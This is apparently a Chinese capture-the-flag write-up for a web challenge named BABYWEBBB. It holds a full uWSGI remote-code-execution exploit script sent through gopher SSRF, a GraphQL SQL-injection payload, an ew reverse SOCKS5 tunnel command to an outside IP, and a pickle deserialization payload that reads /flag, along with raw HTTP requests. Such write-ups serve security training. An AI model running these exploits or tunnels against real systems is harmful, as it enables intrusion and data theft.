changed 6 years ago
Linked with GitHub

BABYWEBBB

意义何在?

第一步

╰─$ nmap 49.4.71.212 --top-ports=100 -T4 -n -Pn                                                                                                   130 ↵
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 16:27 CST
Nmap scan report for 49.4.71.212
Host is up (0.054s latency).
Not shown: 96 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
873/tcp  open   rsync
3389/tcp closed ms-wbt-server
8080/tcp closed http-proxy

扫到rsync

第二步

╰─$ rsync rsync://49.4.71.212/src
dr-xr-xr-x        4096 2019/05/23 01:56:53 .
-rw-r--r--        5087 2019/05/23 01:51:29 backup_old.zip

拿到源码

第三步

证书透明度,

改Host:
49.4.71.212 qqwwwwbbbbb.52dandan.xyz

然后通过这个子域名进去

第四步

源码审计,发现SQL注入,通过GraphQL来处理

query Login($recv: String) {
  recv(data: $recv)
}
{
  "recv": "{\"operate\": \"login\", \"username\": \"\\\" or 1=1;#\", \"password\": \"\"}"
}

第五步

源码审计,发现curl,通过file:///etc/nginx/site-enabled/default拿到uwsgi端口,于是Gopher打127.0.0.1:3031,通过exec实现RCE

#!/usr/bin/python
# coding: utf-8
######################
# Uwsgi RCE Exploit
######################
# Author: wofeiwo@80sec.com
# Created: 2017-7-18
# Last modified: 2018-1-30
# Note: Just for research purpose

import sys
import socket
import argparse
import requests
import urllib

def sz(x):
    s = hex(x if isinstance(x, int) else len(x))[2:].rjust(4, '0')
    s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')
    return s[::-1]


def pack_uwsgi_vars(var):
    pk = b''
    for k, v in var.items() if hasattr(var, 'items') else var:
        pk += sz(k) + k.encode('utf8') + sz(v) + v.encode('utf8')
    result = b'\x00' + sz(pk) + b'\x00' + pk
    return result


def parse_addr(addr, default_port=None):
    port = default_port
    if isinstance(addr, str):
        if addr.isdigit():
            addr, port = '', addr
        elif ':' in addr:
            addr, _, port = addr.partition(':')
    elif isinstance(addr, (list, tuple, set)):
        addr, port = addr
    port = int(port) if port else port
    return (addr or '127.0.0.1', port)


def get_host_from_url(url):
    if '//' in url:
        url = url.split('//', 1)[1]
    host, _, url = url.partition('/')
    return (host, '/' + url)


def fetch_data(uri, payload=None, body=None):
    if 'http' not in uri:
        uri = 'http://' + uri
    s = requests.Session()
    # s.headers['UWSGI_FILE'] = payload
    if body:
        import urlparse
        body_d = dict(urlparse.parse_qsl(urlparse.urlsplit(body).path))
        d = s.post(uri, data=body_d)
    else:
        d = s.get(uri)

    return {
        'code': d.status_code,
        'text': d.text,
        'header': d.headers
    }


def ask_uwsgi(addr_and_port, mode, var, body=''):
    if mode == 'tcp':
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(parse_addr(addr_and_port))
    elif mode == 'unix':
        s = socket.socket(socket.AF_UNIX)
        s.connect(addr_and_port)
    s.send(pack_uwsgi_vars(var) + body.encode('utf8'))
    response = []
    # Actually we dont need the response, it will block if we run any commands.
    # So I comment all the receiving stuff. 
    # while 1:
    #     data = s.recv(4096)
    #     if not data:
    #         break
    #     response.append(data)
    s.close()
    return b''.join(response).decode('utf8')


def curl(mode, addr_and_port, payload, target_url):
    host, uri = get_host_from_url(target_url)
    path, _, qs = uri.partition('?')
    if mode == 'http':
        return fetch_data(addr_and_port+uri, payload)
    elif mode == 'tcp':
        host = host or parse_addr(addr_and_port)[0]
    else:
        host = addr_and_port

    var = {
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'REQUEST_METHOD': 'GET',
        'PATH_INFO': "/",
        'REQUEST_URI': "/",
        'QUERY_STRING': "",
        'SERVER_NAME': "",
        'HTTP_HOST': host,   # Server host + uWSGI port connecting to
        'UWSGI_FILE': payload,     # Path to reverse shell script
        'SCRIPT_NAME': target_url
    }

    return pack_uwsgi_vars(var)




def main(*args):
    desc = """
    This is a uwsgi client & RCE exploit.
    Last modifid at 2018-01-30 by wofeiwo@80sec.com
    """
    elog = "Example:uwsgi_exp.py -u 1.2.3.4:5000 -c \"echo 111>/tmp/abc\""
    
    parser = argparse.ArgumentParser(description=desc, epilog=elog)

    parser.add_argument('-m', '--mode', nargs='?', default='tcp',
                        help='Uwsgi mode: 1. http 2. tcp 3. unix. The default is tcp.',
                        dest='mode', choices=['http', 'tcp', 'unix'])

#    parser.add_argument('-u', '--uwsgi', nargs='?', required=True,
#                        help='Uwsgi server: 1.2.3.4:5000 or /tmp/uwsgi.sock',
#                        dest='uwsgi_addr')
#
    parser.add_argument('-c', '--command', nargs='?', required=True,
                        help='Command: The exploit command you want to execute, must have this.',
                        dest='command')

    if len(sys.argv) < 2:
        parser.print_help()
        return
    args = parser.parse_args()
    if args.mode.lower() == "http":
        print("[-]Currently only tcp/unix method is supported in RCE exploit.")
        return
    payload = 'exec://' + args.command # must have someting in output or the uWSGI crashs.
    print("[*]Sending payload.")

    payload = 'gopher://127.0.0.1:3031/_%s' % urllib.parse.quote(urllib.parse.quote(curl(args.mode.lower(), "127.0.0.1:3031", payload, '/testapp')))

    requests.post("https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg", data={'newurl': payload}, verify=False, headers = {
        'Cookie': 'session=eyJsb2dpbnN0YXR1cyI6dHJ1ZSwidXNlcm5hbWUiOiJcIiBPUiAxPTE7IyJ9.XOnyAQ.w8Uej130NkqMMOt693jofHL-gtk'
    })

    #print(curl(args.mode.lower(), args.uwsgi_addr, payload, '/testapp'))

if __name__ == '__main__':
    main()

第六步

抄了个作业,ps auxf看到了@f1sh的ew,于是依葫芦画瓢ew反代Socks5

/tmp/zsx/ew_for_linux64 -s lcx_slave -d 129.204.79.120 -e 23451 -f 172.16.17.4 -g 1080

第七步

通过反代出来的socks5进内网,源码审计,发现Pickle和写文件,猜测是任意写+pickle反序列化。本地打通,服务器怎么打都打不通,于是抄了个@白泽的payload

import pickle
import os
import urllib

import pickle
import os
import urllib, urllib2

sourcecode = file("aaaa.py").read()
result =  "c__builtin__\neval\np1\n(%sp2\ntp3\nRp4\n." % (pickle.dumps( sourcecode )[:-4],)

print(result)
print(urllib.pathname2url(result))

pickle.loads(result)

aaaa.py:

open('/home/qwb/session/cf802925-ceb0-41e9-bc63-ddffe9f23005','wb').write(
	bytes('(dp0\nS\'username\'\np1\nS\'' + (open('/flag','r').read().strip()) + '\'\np2\ns.', 'utf-8')
)
# cf802925是帐号C

通过已经登录的帐号A发送log:

POST /adduser HTTP/1.1
Host: 192.168.223.222
Content-Length: 413
Cache-Control: max-age=0
Origin: http://192.168.223.222
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.223.222/log
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: QWB_SESSION=9a421d39-a3f1-453a-b034-a7f3a64c5026.tZt4MmYFAccLXVjIWyO9YxlsQH4
Connection: close

username=c__builtin__%0Aeval%0Ap1%0A%28S%22open%28%27/home/qwb/session/cf802925-ceb0-41e9-bc63-ddffe9f23005%27%2C%27wb%27%29.write%28%5Cn%5Ctbytes%28%27%28dp0%5C%5CnS%5C%5C%27username%5C%5C%27%5C%5Cnp1%5C%5CnS%5C%5C%27%27%20%2B%20%28open%28%27/flag%27%2C%27r%27%29.read%28%29.strip%28%29%29%20%2B%20%27%5C%5C%27%5C%5Cnp2%5C%5Cns.%27%2C%20%27utf-8%27%29%5Cn%29%5Cn%22%0Ap2%0Atp3%0ARp4%0A.&password=bb&submit=submit

通过A往B的帐号写payload:

POST /savelog HTTP/1.1
Host: 192.168.223.222
Content-Length: 66
Cache-Control: max-age=0
Origin: http://192.168.223.222
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.223.222/log
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Cookie: QWB_SESSION=9a421d39-a3f1-453a-b034-a7f3a64c5026.tZt4MmYFAccLXVjIWyO9YxlsQH4
Connection: close

filepath=session\\e85cef5f-a7c4-4927-b48a-01d944b5432a&submit=Save

登录B的帐号,触发反序列化,然后登录C的帐号:

Select a repo